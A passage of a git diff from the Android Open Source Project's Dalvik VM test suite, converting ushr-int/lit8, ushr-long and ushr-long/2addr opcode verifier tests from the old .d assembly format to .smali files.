-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -2147483648
-       ushr-int/lit8 v1, v1, 1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_8.smali
new file mode 100644
index 0000000..8317e56
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -2147483648
+       ushr-int/lit8 v1, v1, 1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_9.d
deleted file mode 100644
index 34be720..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_9.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_int_lit8_9.java
-.class public dot.junit.opcodes.ushr_int_lit8.d.T_ushr_int_lit8_9
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const/16 v1, 1
-       ushr-int/lit8 v1, v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_9.smali
new file mode 100644
index 0000000..8160efb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_9.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/ushr_int_lit8/d/T_ushr_int_lit8_9;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/16 v1, 1
+       ushr-int/lit8 v1, v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_1.d
deleted file mode 100644
index 5479c4e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_1.java
-.class public dot.junit.opcodes.ushr_long.d.T_ushr_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 4
-
-       ushr-long v1, v1, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_1.smali
new file mode 100644
index 0000000..da3c4c5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_1.java"
+.class  public Ldot/junit/opcodes/ushr_long/d/T_ushr_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       ushr-long v1, v1, v3
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_2.d
deleted file mode 100644
index e8a6322..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_2.java
-.class public dot.junit.opcodes.ushr_long.d.T_ushr_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)J
-.limit regs 6
-
-       ushr-long v0, v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_2.smali
new file mode 100644
index 0000000..7a42986
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_2.java"
+.class  public Ldot/junit/opcodes/ushr_long/d/T_ushr_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)J
+.registers 6
+
+       ushr-long v0, v3, v5
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_3.d
deleted file mode 100644
index 1a7a9eb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_3.java
-.class public dot.junit.opcodes.ushr_long.d.T_ushr_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 4
-
-       move v2, v3
-       ushr-long v1, v2, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_3.smali
new file mode 100644
index 0000000..8ef3581
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_3.java"
+.class  public Ldot/junit/opcodes/ushr_long/d/T_ushr_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       move v2, v3
+       ushr-long v1, v2, v3
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_4.smali
new file mode 100644
index 0000000..8d9a7f6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/ushr_long/d/T_ushr_long_4;
+.super Ljava/lang/Object;
+.source "T_ushr_long_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JI)J
+    .registers 6
+
+    const v0, 0x4640e400    # 12345.0f
+
+    ushr-long v0, v0, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_5.d
deleted file mode 100644
index 05560ac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_5.java
-.class public dot.junit.opcodes.ushr_long.d.T_ushr_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 4
-
-       ushr-long v1, v1, v0
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_5.smali
new file mode 100644
index 0000000..7a48b17
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_5.java"
+.class  public Ldot/junit/opcodes/ushr_long/d/T_ushr_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       ushr-long v1, v1, v0
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_6.d
deleted file mode 100644
index 6e7d40a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_6.java
-.class public dot.junit.opcodes.ushr_long.d.T_ushr_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 4
-
-       ushr-long v1, v1, v4
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_6.smali
new file mode 100644
index 0000000..fe92df7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_6.java"
+.class  public Ldot/junit/opcodes/ushr_long/d/T_ushr_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       ushr-long v1, v1, v4
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_7.d
deleted file mode 100644
index d2f672b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_7.java
-.class public dot.junit.opcodes.ushr_long.d.T_ushr_long_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 6
-
-       ushr-long v1, v2, v4
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_7.smali
new file mode 100644
index 0000000..445f379
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long/d/T_ushr_long_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_7.java"
+.class  public Ldot/junit/opcodes/ushr_long/d/T_ushr_long_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 6
+
+       ushr-long v1, v2, v4
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_1.d
deleted file mode 100644
index 4b154c5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_2addr_1.java
-.class public dot.junit.opcodes.ushr_long_2addr.d.T_ushr_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 4
-
-       ushr-long/2addr v1, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_1.smali
new file mode 100644
index 0000000..dc36d07
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       ushr-long/2addr v1, v3
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_2.d
deleted file mode 100644
index 22a3e6d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_2addr_2.java
-.class public dot.junit.opcodes.ushr_long_2addr.d.T_ushr_long_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)J
-.limit regs 6
-
-       ushr-long/2addr v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_2.smali
new file mode 100644
index 0000000..80d5142
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)J
+.registers 6
+
+       ushr-long/2addr v3, v5
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_3.d
deleted file mode 100644
index c76441e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_2addr_3.java
-.class public dot.junit.opcodes.ushr_long_2addr.d.T_ushr_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 4
-
-       move v0, v3
-       ushr-long/2addr v0, v3
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_3.smali
new file mode 100644
index 0000000..d620157
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       move v0, v3
+       ushr-long/2addr v0, v3
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_4.smali
new file mode 100644
index 0000000..0c2c8bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
